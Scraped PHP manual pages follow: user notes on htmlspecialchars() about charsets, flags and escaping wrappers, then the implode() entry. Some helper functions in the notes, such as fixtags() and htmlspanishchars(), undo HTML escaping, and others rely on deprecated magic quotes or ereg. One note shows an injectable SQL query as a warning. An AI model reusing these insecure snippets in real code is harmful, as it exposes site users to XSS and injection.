override_function('htmlspecialchars', '$string, $flags, $encoding, $double_encode', 'return overriden_htmlspecialchars($string, $flags, $encoding, $double_encode);');
?>

Unfortunatelly this didn't work for me properly - my site managed to call overriden function but not every time I reloaded the pages. Moreover other PHP sites crashed under my Apache server as they suddenly started blaming htmlspecialchars() was not defined. I suppose I had to spend more time to make it work thread/request/site/whatever-safe.

So I switched to runkit (variant 2). It worked for me, although even after trying runkit_function_rename()+runkit_function_add() I didn't managed to recall original htmlspecialchars() function. So as a quick solution I decided to call htmlentities() instead:

<?php
function overriden_htmlspecialchars($string, $flags=NULL, $encoding='UTF-8', $double_encode=true) {
    $flags = $flags ? $flags : (ENT_COMPAT|ENT_HTML401);
    $encoding = $encoding ? $encoding : 'cp1251';
    return htmlentities($string, $flags, $encoding, $double_encode);
}
runkit_function_redefine('htmlspecialchars', '$string, $flags, $encoding, $double_encode', 'return overriden_htmlspecialchars($string, $flags, $encoding, $double_encode);');
?>

You may be able to implement your more powerfull overriden function.
Good luck!
Dave 20-Jun-2013 08:59
As of PHP 5.4 they changed default encoding from "ISO-8859-1" to "UTF-8". So if you get null from htmlspecialchars or htmlentities

where you have only set
<?php
echo htmlspecialchars($string);
echo htmlentities($string);
?>

you can fix it by
<?php
echo htmlspecialchars($string, ENT_COMPAT,'ISO-8859-1', true);
echo htmlentities($string, ENT_COMPAT,'ISO-8859-1', true);
?>

On linux you can find the scripts you need to fix by

grep -Rl "htmlspecialchars\\|htmlentities" /path/to/php/scripts/
minder at ufive dot unibe dot ch 19-May-2013 10:06
Problem

In many PHP legacy products the function htmlspecialchars($string) is used to convert characters like < and > and quotes a.s.o to HTML-entities. That avoids the interpretation of HTML Tags and asymmetric quote situations.

Since PHP 5.4 for $string in htmlspecialchars($string) utf8 characters are expected if no charset is defined explicitly as third parameter in the function. Legacy products are mostly in Latin1 (alias iso-8859-1) what makes the functions htmlspecialchars(), htmlentites() and html_entity_decode() to return empty strings if a special character, e. g. a German Umlaut, is present in $string:

PHP<5.4

echo htmlspecialchars('<b>Woermann</b>') //Output: &lt;b&gt;Woermann&lt;b&gt;
echo htmlspecialchars('WÃ¶rmann') //Output: &lt;b&gt;WÃ¶rmann&lt;b&gt;

PHP=5.4

echo htmlspecialchars('<b>Woermann</b>') //Output: &lt;b&gt;Woermann&lt;b&gt;
echo htmlspecialchars('<b>WÃ¶rmann</b>') //Output: empty

Three alternative solutions

a) Not runnig legacy products on PHP 5.4
b) Change all find spots in your code from
htmlspecialchars($string) and *** to
htmlspecialchars($string, ENT_COMPAT | ENT_HTML401, 'ISO-8859-1')
c) Replace all htmlspecialchars() and *** with a new self-made function

*** The same is true for htmlentities() and html_entity_decode();

Solution c

1 Make Search and Replace in the concerned legacy project:
Search for:        htmlspecialchars
Replace with:   htmlXspecialchars
Search for:        htmlentities
Replace with:   htmlXentities
Search for:        html_entity_decode
Replace with:   htmlX_entity_decode
2a Copy and paste the following three functions into an existing already everywhere included PHP-file in your legacy project. (of course that PHP-file must be included only once per request, otherwise you will get a Redeclare Function Fatal Error).

function htmlXspecialchars($string, $ent=ENT_COMPAT, $charset='ISO-8859-1') {
return htmlspecialchars($string, $ent, $charset);
}

function htmlXentities($string, $ent=ENT_COMPAT, $charset='ISO-8859-1') {
return htmlentities($string, $ent, $charset);
}

function htmlX_entity_decode($string, $ent=ENT_COMPAT, $charset='ISO-8859-1') {
return html_entity_decode($string, $ent, $charset);
}

or 2b crate a new PHP-file containing the three functions mentioned above, let's say, z. B. htmlXfunctions.inc.php and include it on the first line of every PHP-file in your legacy product like this: require_once('htmlXfunctions.inc.php').
Mike Robinson 14-Mar-2013 09:46
Unfortunately, as far as I can tell, the PHP devs did not provide ANY way to set the default encoding used by htmlspecialchars() or htmlentities(), even though they changed the default encoding in PHP 5.4 (*golf clap for PHP devs*). To save someone the time of trying it, this does not work:

<?php
ini_set('default_charset', $charset); // doesn't work.
?>

Unfortunately, the only way to not have to explicitly provide the second and third parameter every single time this function is called (which gets extremely tedious) is to write your own function as a wrapper:

<?php
define('CHARSET', 'ISO-8859-1');
define('REPLACE_FLAGS', ENT_COMPAT | ENT_XHTML);

function html($string) {
    return htmlspecialchars($string, REPLACE_FLAGS, CHARSET);
}

echo html("Ã±"); // works
?>

You can do the same for htmlentities()
strange dot alex at gmail dot com 07-Mar-2013 02:24
> For the purposes of this function, the encodings ISO-8859-1, ISO-8859-15, UTF-8, cp866, cp1251, cp1252, and KOI8-R are effectively equivalent, provided the string itself is valid for the encoding, as the characters affected by htmlspecialchars() occupy the same positions in all of these encodings.

This is not true, actually!
$txt = "Russian text in KOI8-r<br>"; // type here realy russian text in koi8-r !

htmlspecialchars($txt,null,'KOI8-R') = Russian text in KOI8-r<br>
htmlspecialchars($txt,null,'UTF-8') =
 Result is EMPTY !!!
odegroot+php at gmail dot com 18-Jun-2012 06:57
This function can be used to escape single quotes only, and not double quotes, by calling it as follows.

<?php $escaped_string = htmlspecialchars($string, ENT_QUOTES & ~ENT_COMPAT, $encoding); ?>

This works because single/double quote escaping actually each have their own flag.

#define ENT_HTML_QUOTE_NONE         0
#define ENT_HTML_QUOTE_SINGLE       1
#define ENT_HTML_QUOTE_DOUBLE       2

#define ENT_COMPAT      ENT_HTML_QUOTE_DOUBLE
#define ENT_QUOTES      (ENT_HTML_QUOTE_DOUBLE | ENT_HTML_QUOTE_SINGLE)
#define ENT_NOQUOTES    ENT_HTML_QUOTE_NONE

Snippet from: php-src/ext/standard/html.h
https://github.com/php/php-src/blob/master/ext/standard/html.h
steve at mcdragonsoftware dot com 18-Oct-2011 06:13
I am working with xml and zip functions to create an xlsx document from a template. Just as I thought I had it finished it stopped working. After a bit of hunting I discovered my zip file began with php notices about undefined constant. I have no idea why my installation can't remember what ENT_XML1 is, it used to know it (or so I thought)

To save anyone else this headache I recommend adding the code at the top of your scripts to verify that these constants are registered. Something like:

defined( "ENT_XML1") or define( "ENT_XML1",        16    );

for each constant you use. Again, I don't know why this problem suddenly came up, but better safe than "Excel cannot open the file....... format... extension... corrupted... blah blah blah".

cheers :)

here's a list of the constant values (since they are not on this page) as taken from html.h for php5

#define ENT_HTML_QUOTE_NONE            0
#define ENT_HTML_QUOTE_SINGLE           1
#define ENT_HTML_QUOTE_DOUBLE                2
#define ENT_HTML_IGNORE_ERRORS        4
#define ENT_HTML_SUBSTITUTE_ERRORS     8
#define ENT_HTML_DOC_TYPE_MASK        (16|32)
#define ENT_HTML_DOC_HTML401           0
#define ENT_HTML_DOC_XML1            16
#define ENT_HTML_DOC_XHTML            32
#define ENT_HTML_DOC_HTML5            (16|32)
/* reserve bit 6 */
#define ENT_HTML_SUBSTITUTE_DISALLOWED_CHARS    128

#define ENT_COMPAT        ENT_HTML_QUOTE_DOUBLE
#define ENT_QUOTES        (ENT_HTML_QUOTE_DOUBLE | ENT_HTML_QUOTE_SINGLE)
#define ENT_NOQUOTES    ENT_HTML_QUOTE_NONE
#define ENT_IGNORE        ENT_HTML_IGNORE_ERRORS
#define ENT_SUBSTITUTE    ENT_HTML_SUBSTITUTE_ERRORS
#define ENT_HTML401        0
#define ENT_XML1        16
#define ENT_XHTML        32
#define ENT_HTML5        (16|32)
#define ENT_DISALLOWED    128
ivan at lutrov dot com 15-Jun-2011 10:30
Be careful, the "charset" argument IS case sensitive. This is counter-intuitive and serves no practical purpose because the HTML spec actually has the opposite.
info at 8th dot at 12-May-2011 08:28
English:
I'd found THE Final Solution!
it finds and replaces all unknown letters!
(like Ã„, Ã–, Ãœ, ÃŸ, and much much more)

it turn em in a HTML AND XML compatible format

parameter: $text: a String with unsuported letters in it
return: a String where all unsupported(XML und HTML) letters are changed into the Unicode value (for example &#196;)

Deutsch/German:
Ich hab die perfekte LÃ¶sung gefunden!
Es findet und tauscht alle unbekannten Buchstaben!
(wie Ã„, Ã–, Ãœ, ÃŸ, und viel viel mehr)

es tauscht sie in ein HTML und XML kompatibles Format

parameter: $text: ein String mit nichtunterstÃ¼zten Buchstaben
return: ein String wo alle von XML und HTML ununterstÃ¼tzten Buchstaben ins Unicode-Format getauscht sind (z.B. &#196;)

FUNCTION:

<?php
function umlaute($text){
    $returnvalue="";
    for($i=0;$i<strlen($text);$i++){
        $teil=hexdec(rawurlencode(substr($text, $i, 1)));
        if($teil<32||$teil>1114111){
            $returnvalue.=substr($text, $i, 1);
        }else{
            $returnvalue.="&#".$teil.";";
        }
    }
    return $returnvalue;
}
?>
pinkgothic at gmail dot com 11-Mar-2011 02:00
Please note that this function results in an E_WARNING when display_errors is off and an invalid multibyte string is passed to it (e.g. with 'utf-8' as the encoding parameter and broken utf-8 characters somewhere in the string).

This is ESPECIALLY IMPORTANT if you have an EXCEPTION-THROWING ERROR HANDLER, since even though you can't reproduce it in a development mode where display_errors is on, you MUST wrap your function call in a try-catch, or your application will crash.

[ The reason PHP makes this distinction is because this is a core function and many production servers are misconfigured to have display_errors on (to prevent such things as path disclosure from error messages from accidentally cropping up). See: http://bugs.php.net/bug.php?id=47494 ]
Thomasvdbulk at gmail dot com 28-Dec-2010 07:05
i searched for a while for a script, that could see the difference between an html tag and just < and > placed in the text,
the reason is that i recieve text from a database,
wich is inserted by an html form, and contains text and html tags,
the text can contain < and >, so does the tags,
with htmlspecialchars you can validate your text to XHTML,
but you'll also change the tags, like <b> to &lt;b&gt;,
so i needed a script that could see the difference between those two...
but i couldn't find one so i made my own one,
i havent fully tested it, but the parts i tested worked perfect!
just for people that were searching for something like this,
it may looks big, could be done easier, but it works for me, so im happy.

<?php
function fixtags($text){
$text = htmlspecialchars($text);
$text = preg_replace("/=/", "=\"\"", $text);
$text = preg_replace("/&quot;/", "&quot;\"", $text);
$tags = "/&lt;(\/|)(\w*)(\ |)(\w*)([\\\=]*)(?|(\")\"&quot;\"|)(?|(.*)?&quot;(\")|)([\ ]?)(\/|)&gt;/i";
$replacement = "<$1$2$3$4$5$6$7$8$9$10>";
$text = preg_replace($tags, $replacement, $text);
$text = preg_replace("/=\"\"/", "=", $text);
return $text;
}
?>

an example:

<?php
$string = "
this is smaller < than this<br />
this is greater > than this<br />
this is the same = as this<br />
<a href=\"http://www.example.com/example.php?test=test\">This is a link</a><br />
<b>Bold</b> <i>italic</i> etc...";
echo fixtags($string);
?>

will echo:
this is smaller &lt; than this<br />
this is greater &gt; than this<br />
this is the same = as this<br />
<a href="http://www.example.com/example.php?test=test">This is a link</a><br />
<b>Bold</b> <i>italic</i> etc...

I hope its helpfull!!
Anonymous 01-Aug-2010 10:48
This may seem obvious, but if you want to output arbitrary (i.e. user-input) data as an attribute inside an HTML tag (such as the INPUT tags on a FORM), be aware of whether you are using ENT_QUOTES or ENT_COMPAT.  If you're using ENT_COMPAT, the attribute must be wrapped in double-quotes, as single-quotes will not be encoded and the user will be able to inject arbitrary HTML attributes (including javascript behavior) inside the tag, even though they will not be able to inject arbitrary HTML tags.

Also, if you want to allow users to input HTML attributes without them being double-encoded on display, there are two ways to accomplish this:

1 - Run their input through htmlentities_decode() followed by htmlspecialchars().

2 - Call htmlspecialchars() with $double_encode=false.

There is one functional difference between these two methods:  If you want to perform any search-replace on a user's input (such as word censoring in a message-board application), the second method will allow users to circumvent it by HTML-encoding their input, whereas the first will not.
nachitox2000 [at] hotmail [dot] com 01-Jul-2010 02:57
I had problems with spanish special characters. So i think in using htmlspecialchars but my strings also contain HTML.
So I used this :) Hope it help

<?php
function htmlspanishchars($str)
{
    return str_replace(array("&lt;", "&gt;"), array("<", ">"), htmlspecialchars($str, ENT_NOQUOTES, "UTF-8"));
}
?>
nessthehero at gmail dot com 19-May-2010 08:53
Here's a simple function I wrote for parsing form data.

It checks if it's an array and it is recursive (it calls itself).

It also decodes things that have already been encoded so it doesn't change &amp; to &amp;amp;

[In this version,] I found it easier to use a regular expression to check and see if any previously encoded data exists, then decode it repeatedly until there is none left, then re-encode it.

<?php
function formspecialchars($var)
    {
        $pattern = '/&(#)?[a-zA-Z0-9]{0,};/';

        if (is_array($var)) {    // If variable is an array
            $out = array();      // Set output as an array
            foreach ($var as $key => $v) {
                $out[$key] = formspecialchars($v);         // Run formspecialchars on every element of the array and return the result. Also maintains the keys.
            }
        } else {
            $out = $var;
            while (preg_match($pattern,$out) > 0) {
                $out = htmlspecialchars_decode($out,ENT_QUOTES);
            }
            $out = htmlspecialchars(stripslashes(trim($out)), ENT_QUOTES,'UTF-8',true);     // Trim the variable, strip all slashes, and encode it

        }

        return $out;
    }
?>
Anonymous 18-Sep-2009 07:16
This may seem obvious, but it caused me some frustration. If you try and use htmlspecialchars with the $charset argument set and the string you run it on is not actually the same charset you specify, you get any empty string returned without any notice/warning/error.

<?php

$ok_utf8 = "A valid UTF-8 string";
$bad_utf8 = "An invalid UTF-8 string";

var_dump(htmlspecialchars($bad_utf8, ENT_NOQUOTES, 'UTF-8'));  // string(0) ""

var_dump(htmlspecialchars($ok_utf8, ENT_NOQUOTES, 'UTF-8'));  // string(20) "A valid UTF-8 string"

?>

So make sure your charsets are consistent

<?php

$bad_utf8 = "An invalid UTF-8 string";

// make sure it's really UTF-8
$bad_utf8 = mb_convert_encoding($bad_utf8, 'UTF-8', mb_detect_encoding($bad_utf8));

var_dump(htmlspecialchars($bad_utf8, ENT_NOQUOTES, 'UTF-8'));  // string(23) "An invalid UTF-8 string"

?>

I had this problem because a Mac user was submitting posts copy/pasted from a program and it contained weird chars in it.
Anonymous 17-Sep-2009 06:43
Just a few notes on how one can use htmlspecialchars() and htmlentities() to filter user input on forms for later display and/or database storage...

1. Use htmlspecialchars() to filter text input values for html input tags.  i.e.,

echo '<input name=userdata type=text value="'.htmlspecialchars($data).'" />';

2. Use htmlentities() to filter the same data values for most other kinds of html tags, i.e.,

echo '<p>'.htmlentities($data).'</p>';

3. Use your database escape string function to filter the data for database updates & insertions, for instance, using postgresql,

pg_query($connection,"UPDATE datatable SET datavalue='".pg_escape_string($data)."'");

This strategy seems to work well and consistently, without restricting anything the user might like to type and display, while still providing a good deal of protection against a wide variety of html and database escape sequence injections, which might otherwise be introduced through deliberate and/or accidental input of such character sequences by users submitting their input data via html forms.
chuck at N0SPAM1command dot com 12-Aug-2009 04:06
NOTE:
I made an error in my last post.

The last 3 lines should have read
<?php

...

$text = get_page($url);
--------^^^^^^^^
$new = htmlspecialchars($text, ENT_QUOTES); // here is the magic :)

    echo '<pre>' .$new. '</pre>';

?>

OOPS!
hm2k at php.net 22-Jun-2009 07:02
<?php
/**
 * A recursive version of htmlspecialchars() for arrays and strings.
 *
 */

function htmlspecialchars_deep($mixed, $quote_style = ENT_QUOTES, $charset = 'UTF-8')
{
    if (is_array($mixed)) {
        foreach($mixed as $key => $value) {
            $mixed[$key] = htmlspecialchars_deep($value, $quote_style, $charset);
        }
    } elseif (is_string($mixed)) {
        $mixed = htmlspecialchars(htmlspecialchars_decode($mixed, $quote_style), $quote_style, $charset);
    }
    return $mixed;
}
?>
hello at haroonahmad dot co dot uk 23-Mar-2009 10:56
a common confusion among beginner is that what is the difference between htmlentities() and htmlspecialchars() really, because the manual examples are converting angular brackets for both.

well, htmlentities() will ALSO look for other language characters in the string e.g German, French or Italian etc. So if you think your attacker can use some foreign language characters for a XSS attack in URL etc then use htmlentities() instead of htmlspecialchars().

I hope it helps,

Haroon Ahmad
Kenneth Kin Lum 09-Oct-2008 03:45
if your goal is just to protect your page from Cross Site Scripting (XSS) attack, or just to show HTML tags on a web page (showing <body> on the page, for example), then using htmlspecialchars() is good enough and better than using htmlentities().  A minor point is htmlspecialchars() is faster than htmlentities().  A more important point is, when we use  htmlspecialchars($s) in our code, it is automatically compatible with UTF-8 string.  Otherwise, if we use htmlentities($s), and there happens to be foreign characters in the string $s in UTF-8 encoding, then htmlentities() is going to mess it up, as it modifies the byte 0x80 to 0xFF in the string to entities like &eacute;.  (unless you specifically provide a second argument and a third argument to htmlentities(), with the third argument being "UTF-8").

The reason htmlspecialchars($s) already works with UTF-8 string is that, it changes bytes that are in the range 0x00 to 0x7F to &lt; etc, while leaving bytes in the range 0x80 to 0xFF unchanged.  We may wonder whether htmlspecialchars() may accidentally change any byte in a 2 to 4 byte UTF-8 character to &lt; etc.  The answer is, it won't.  When a UTF-8 character is 2 to 4 bytes long, all the bytes in this character is in the 0x80 to 0xFF range. None can be in the 0x00 to 0x7F range.  When a UTF-8 character is 1 byte long, it is just the same as ASCII, which is 7 bit, from 0x00 to 0x7F.  As a result, when a UTF-8 character is 1 byte long, htmlspecialchars($s) will do its job, and when the UTF-8 character is 2 to 4 bytes long, htmlspecialchars($s) will just pass those bytes unchanged.  So htmlspecialchars($s) will do the same job no matter whether $s is in ASCII, ISO-8859-1 (Latin-1), or UTF-8.
brendel at krumedia dot de 15-May-2008 07:28
I know some people posted similar functions but may be you are looking for this version:

function jschars($str)
{
    $str = mb_ereg_replace("\\\\", "\\\\", $str);
    $str = mb_ereg_replace("\"", "\\\"", $str);
    $str = mb_ereg_replace("'", "\\'", $str);
    $str = mb_ereg_replace("\r\n", "\\n", $str);
    $str = mb_ereg_replace("\r", "\\n", $str);
    $str = mb_ereg_replace("\n", "\\n", $str);
    $str = mb_ereg_replace("\t", "\\t", $str);
    $str = mb_ereg_replace("<", "\\x3C", $str); // for inclusion in HTML
    $str = mb_ereg_replace(">", "\\x3E", $str);
    return $str;
}

if you use smarty your code may look like:

<a onclick="alert('{$text|jschars|htmlchars}');return false;">Test</a>

(Yes, we have the shortcur htmlchars instead of htmlspecialchars, so we are able to tell the encoding e.g. UTF-8 or ISO-8859-1 to htmlspecialchars)
php dot net at orakio dot net 10-Apr-2008 08:26
I was recently exploring some code when I saw this being used to make data safe for "SQL".

This function should not be used to make data SQL safe (although to prevent phishing it is perfectly good).

Here is an example of how NOT to use this function:

<?php
$username = htmlspecialchars(trim("$_POST[username]"));

$uniqueuser = $realm_db->query("SELECT `login` FROM `accounts` WHERE `login` = '$username'");
?>

(Only other check on $_POST['username'] is to make sure it isn't empty which it is after trim on a white space only name)

The problem here is that it is left to default which allows single quote marks which are used in the sql query. Turning on magic quotes might fix it but you should not rely on magic quotes, in fact you should never use it and fix the code instead. There are also problems with \ not being escaped. Even if magic quotes were used there would be the problem of allowing usernames longer than the limit and having some really weird usernames given they are to be used outside of html, this just provide a front end for registering to another system using mysql. Of course using it on the output wouldn;t cause that problem.

Another way to make something of a fix would be to use ENT_QUOTE or do:

<?php
$uniqueuser = $realm_db->query('SELECT `login` FROM `accounts` WHERE `login` = "'.$username.'";');
?>

Eitherway none of these solutions are good practice and are not entirely unflawed. This function should simply never be used in such a fashion.

I hope this will prevent newbies using this function incorrectly (as they apparently do).
ish1301 at gmail doooot com 20-Nov-2007 11:56
used this function for making a variable javascript compatible

<?php
function jsspecialchars( $string = '') {
    $string = preg_replace("/\r*\n/","\\n",$string);
    $string = preg_replace("/\//","\\\/",$string);
    $string = preg_replace("/\"/","\\\"",$string);
    $string = preg_replace("/'/"," ",$string);
    return $string;
}
?>
hope this may help those embedding php in javascripts
solar-energy 16-Jun-2007 12:21
also see function "urlencode()", useful for passing text with ampersand and other special chars through url

(i.e. the text is encoded as if sent from form using GET method)

e.g.

<?php
echo "<a href='foo.php?text=".urlencode("foo?&bar!")."'>link</a>";
?>

produces

<a href='foo.php?text=foo%3F%26bar%21'>link</a>

and if the link is followed, the $_GET["text"] in foo.php will contain "foo?&bar!"
terminatorul at gmail dot com 27-Apr-2007 07:04
To html-encode Unicode characters that may not be part of your document character set (given in the META tag of your page), and so can not be output directly into your document source, you need to use mb_encode_numericentity(). Pay attention to it's conversion map argument.
frank at codedor dot be 16-Jan-2007 10:25
If you seem to have a problem with rendering dynamic RSS files from a database - try using htmlspecialchars() or htmlentities() on the text you are rendering.

Since XML and RSS is very strict about what is allowed inside nodes, you need to make sure everything is "A-OK" according to XML standards ...

Especially if the database you're pulling data from is fi. Latin-Swedish encoding, which seems to be the standard setting for MySQL databases.
richard at mf2fm dot com 03-Mar-2006 10:06
I had a script which detected swearing and wanted to make sure that words such as 'f &uuml; c k' didn't slip through the system.

After using htmlentities(), the following line converts most extended alphabet characters back to the standard alphabet so you can spot such problems..

$text=eregi_replace("&([a-z])[a-z0-9]{3,};", "\\\\1", $text);

This changes, for example, '&uuml;' into 'u' and '&szlig' into 's'.  Sadly it also converts '&pound;' and '&para;' into 'p' so it's not perfect but does solve a lot of the problems
mikiwoz at yahoo dot co dot uk 06-Oct-2005 11:40
I am not sure, maybe I'm missing something, but I have found something interesting:
I've been working on a project, where I had to use htmlspecialchars (for opbvious reasons). I olso needed to de-code the encoded string. What I have done was almost a copy and paste from php.net:
$trans=get_html_translation_table(HTML_SPECIALCHARS, ENT_QUOTES);
$trans=array_flip($trans);
$string=strtr($encoded, $trans);
(it looked a bit different in my code, but the idea is clear)
I couldn't get the apostrophe sign de-coded, and I needed it for the <A> tags. After an hour or so of debuging, I decided do print_r($trans). What I got was:
...
[&#39;] => '
...
BUT the apostrophe was encoded to $#039; -> note the zero.
I don't suppose it's a bug, but it definetely IS a potential pitfall, watch out for this one.
Luiz Miguel Axcar (lmaxcar at yahoo dot com dot br) 01-Sep-2005 03:16
Hello,

If you are getting trouble to SGDB write/read HTML data, try to use this:

<?php

//from html_entity_decode() manual page
function unhtmlentities ($string) {
   $trans_tbl =get_html_translation_table (HTML_ENTITIES );
   $trans_tbl =array_flip ($trans_tbl );
   return strtr ($string ,$trans_tbl );
}

//read from db
$content = stripslashes (htmlspecialchars ($field['content']));

//write to db
$content = unhtmlentities (addslashes (trim ($_POST['content'])));

//make sure result of function get_magic_quotes_gpc () == 0, you can get strange slashes in your content adding slashes twice

//better to do this using addslashes
$content = (! get_magic_quotes_gpc ()) ? addslashes ($content) : $content;

?>
urbanheroes {at} gmail {dot} com 30-Apr-2005 08:32
In response to the note made by Alexander Nofftz on October 2004, &#39; is used instead of &apos; because IE unfortunately seems to have trouble with the latter.
took 23-Apr-2005 06:14
The Algo from donwilson at gmail dot com to reverse the action of htmlspecialchars(), edited for germany:

function unhtmlspecialchars( $string )
{
  $string = str_replace ( '&amp;', '&', $string );
  $string = str_replace ( '&#039;', '\'', $string );
  $string = str_replace ( '&quot;', '"', $string );
  $string = str_replace ( '&lt;', '<', $string );
  $string = str_replace ( '&gt;', '>', $string );
  $string = str_replace ( '&uuml;', 'ü', $string );
  $string = str_replace ( '&Uuml;', 'Ü', $string );
  $string = str_replace ( '&auml;', 'ä', $string );
  $string = str_replace ( '&Auml;', 'Ä', $string );
  $string = str_replace ( '&ouml;', 'ö', $string );
  $string = str_replace ( '&Ouml;', 'Ö', $string );
  return $string;
}
11-Mar-2005 01:22
function htmlspecialchars_array($arr = array()) {
   $rs =  array();
   while(list($key,$val) = each($arr)) {
       if(is_array($val)) {
           $rs[$key] = htmlspecialchars_array($val);
       }
       else {
           $rs[$key] = htmlspecialchars($val, ENT_QUOTES);
       }
   }
   return $rs;
}
zolinak at zoli dot szathmari dot hu 14-Dec-2004 01:46
A sample function, if anybody want to turn html entities (and special characters) back to simple. (eg: "&egrave;", "<" etc)

function html2specialchars($str){
    $trans_table = array_flip(get_html_translation_table(HTML_ENTITIES));
    return strtr($str, $trans_table);
}
thelatesundayshow.com @ nathan (flip it) 02-Sep-2004 08:51
heres a version of the recursive escape function that takes the array byref rather than byval so saves some resources in case of big arrays

function recurse_array_HTML_safe(&$arr) {
    foreach ($arr as $key => $val)
        if (is_array($val))
            recurse_array_HTML_safe($arr[$key]);
        else
            $arr[$key] = htmlspecialchars($val, ENT_QUOTES);
}
moc.xnoitadnuof@310symerej 21-Apr-2004 01:04
Here are some usefull functions.
They will apply || decode, htmlspecialchars || htmlentities recursivly to arrays() || to regular $variables. They also protect agains "double encoding".

<?PHP
function htmlspecialchars_or( $mixed, $quote_style = ENT_QUOTES ){
    return is_array($mixed) ? array_map('htmlspecialchars_or',$mixed, array_fill(0,count($mixed),$quote_style)) : htmlspecialchars(htmlspecialchars_decode($mixed, $quote_style ),$quote_style);
}

function htmlspecialchars_decode( $mixed, $quote_style = ENT_QUOTES ) {
    if(is_array($mixed)){
      return array_map('htmlspecialchars_decode',$mixed, array_fill(0,count($mixed),$quote_style));
  }
  $trans_table = get_html_translation_table( HTML_SPECIALCHARS, $quote_style );
    if( $trans_table["'"] != '&#039;' ) { # some versions of PHP match single quotes to &#39;
        $trans_table["'"] = '&#039;';
    }
    return (strtr($mixed, array_flip($trans_table)));
}

function htmlentities_or($mixed, $quote_style = ENT_QUOTES){
    return is_array($mixed) ? array_map('htmlentities_or',$mixed, array_fill(0,count($mixed),$quote_style)) : htmlentities(htmlentities_decode($mixed, $quote_style ),$quote_style);
}

function htmlentities_decode( $mixed, $quote_style = ENT_QUOTES ) {
  if(is_array($mixed)){
      return array_map('htmlentities_decode',$mixed, array_fill(0,count($mixed),$quote_style));
  }
    $trans_table = get_html_translation_table(HTML_ENTITIES, $quote_style );
    if( $trans_table["'"] != '&#039;' ) { # some versions of PHP match single quotes to &#39;
        $trans_table["'"] = '&#039;';
    }
    return (strtr($mixed, array_flip($trans_table)));
}
?>

These functions are an addition to an earlier post. I would like to give the person some credit but I do not know who it was.

<?  ;llnu=u!eJq dHd?>
_____ at luukku dot com 14-Sep-2002 11:21
People, don't use ereg_replace for the most simple string replacing operations (replacing constant string with another).
Use str_replace.
joseph at nextique dot com 20-Feb-2002 10:21
Here is a handy function to htmlalize an array (or scalar) before you hand it off to xml.

function htmlspecialchars_array($arr = array()) {
    $rs =  array();
    while(list($key,$val) = each($arr)) {
        if(is_array($val)) {
            $rs[$key] = htmlspecialchars_array($val);
        }
        else {
            $rs[$key] = htmlspecialchars($val, ENT_QUOTES);
        }
    }
    return $rs;
}
15-Jul-2001 08:18
If your sending data from one form to another, the data in the textareas and text inputs may need to have htmlspecialchars("form data", ENT_QUOTES) applied, assuming you will ever have quotes or less-than signs or any of those special characters.  Using htmlspecialchars will make the text show up properly in the second form.  The changes are automatically undone whenever the form data is submitted. It does seem a little strange, but it works and my headache is now starting to go away.

AZ
ryan at ryano dot net 29-Jun-2001 12:06
Actually, if you're using >= 4.0.5, this should theoretically be quicker (less overhead anyway):

$text = str_replace(array("&gt;", "&lt;", "&quot;", "&amp;"), array(">", "<", "\"", "&"), $text);


Join array elements with a string

  • « htmlspecialchars
  • join »
  • PHP Manual
  • String Functions
  • Join array elements with a string

implode

(PHP 4, PHP 5)

implode — Join array elements with a string

Description

string implode ( string $glue , array $pieces )
string implode ( array $pieces )

Join array elements with a glue string.

Note:

implode() can, for historical reasons, accept its parameters in either order. For consistency with explode(), however, it may be less confusing to use the documented order of arguments.

Parameters

glue

Defaults to an empty string.

pieces

The array of strings to implode.

Return Values

Returns a string containing a string representation of all the array elements in the same order, with the glue string between each element.

Examples

Example #1 implode() example

<?php

$array = array('lastname', 'email', 'phone');
$comma_separated = implode(",", $array);

echo $comma_separated; // lastname,email,phone

// Empty string when using an empty array:
var_dump(implode('hello', array())); // string(0) ""

?>

Notes

Note: This function is binary-safe.

See Also

  • explode() - Split a string by string
  • preg_split() - Split string by a regular expression
  • http_build_query() - Generate URL-encoded query string

User Contributed Notes

cottton at i-stats dot net 11-May-2014 07:57
in case you want to implode by keys:
<?php
const POSITION_KEY = 0;
const POSITION_VAL = 2;
const POSITION_DESC = 1;

$key = 'key';
$val = 'val';
$desc = 'desc';

$arr = array(
    POSITION_KEY => $key,
    POSITION_VAL => $val,
    POSITION_DESC => $desc,
);
echo kimplode('=',$arr); // key=desc=val
echo '<br>';
echo krimplode('=',$arr); // val=desc=key

function kimplode($glue,$arr){
    ksort($arr);
    return implode($glue,$arr);
}
function krimplode($glue,$arr){
    krsort($arr);
    return implode($glue,$arr);
}
?>
Jacques Amar 12-Apr-2014 04:26
Safe way to pass as parameters in IN

<?php
$id_nums = array(1,6,12,18,24);
$p_types = '';
$qs    = array();
foreach ($id_nums as $id) {
    $qs[]   = '?';
    $p_types .= 'i'; // or whatever type
}
$nums_list = implode(',', $qs);

$sqlquery = "Select name,email,phone from usertable where user_id IN ($nums_list)";

$stmt = $dbh->stmt_init();
$stmt->prepare($sqlquery);
// later on, instead of bind:
$parms_array = array_merge(array($p_types), $id_nums);
call_user_func_array(array($stmt,'bind_param'), $parms_array );

// $sqlquery becomes "Select name,email,phone from usertable where user_id IN (?,?,?,?,?)"
?>
omar dot ajoue at kekanto dot com 18-Mar-2013 11:21
Can also be used for building tags or complex lists, like the following:

<?php

$elements = array('a', 'b', 'c');

echo "<ul><li>" . implode("</li><li>", $elements) . "</li></ul>";

?>

This is just an example, you can create a lot more just finding the right glue! ;)
Anonymous 27-Feb-2013 12:56
It may be worth noting that if you accidentally call implode on a string rather than an array, you do NOT get your string back, you get NULL:
<?php
var_dump(implode(':', 'xxxxx'));
?>
returns
NULL

This threw me for a little while.
masterandujar 03-Sep-2012 03:15
Even handier if you use the following:

<?php
$id_nums = array(1,6,12,18,24);

$id_nums = implode(", ", $id_nums);

$sqlquery = "Select name,email,phone from usertable where user_id IN ($id_nums)";

// $sqlquery becomes "Select name,email,phone from usertable where user_id IN (1,6,12,18,24)"
?>

Be sure to escape/sanitize/use prepared statements if you get the ids from users.
alexey dot klimko at gmail dot com 23-Jun-2011 02:04
If you want to implode an array of booleans, you will get a strange result:
<?php
var_dump(implode('',array(true, true, false, false, true)));
?>

Output:
string(3) "111"

TRUE became "1", FALSE became nothing.
houston_roadrunner at yahoo dot com 07-Apr-2009 08:50
it should be noted that an array with one or no elements works fine. for example:

<?php
    $a1 = array("1","2","3");
    $a2 = array("a");
    $a3 = array();

    echo "a1 is: '".implode("','",$a1)."'<br>";
    echo "a2 is: '".implode("','",$a2)."'<br>";
    echo "a3 is: '".implode("','",$a3)."'<br>";
?>

will produce:
===========
a1 is: '1','2','3'
a2 is: 'a'
a3 is: ''
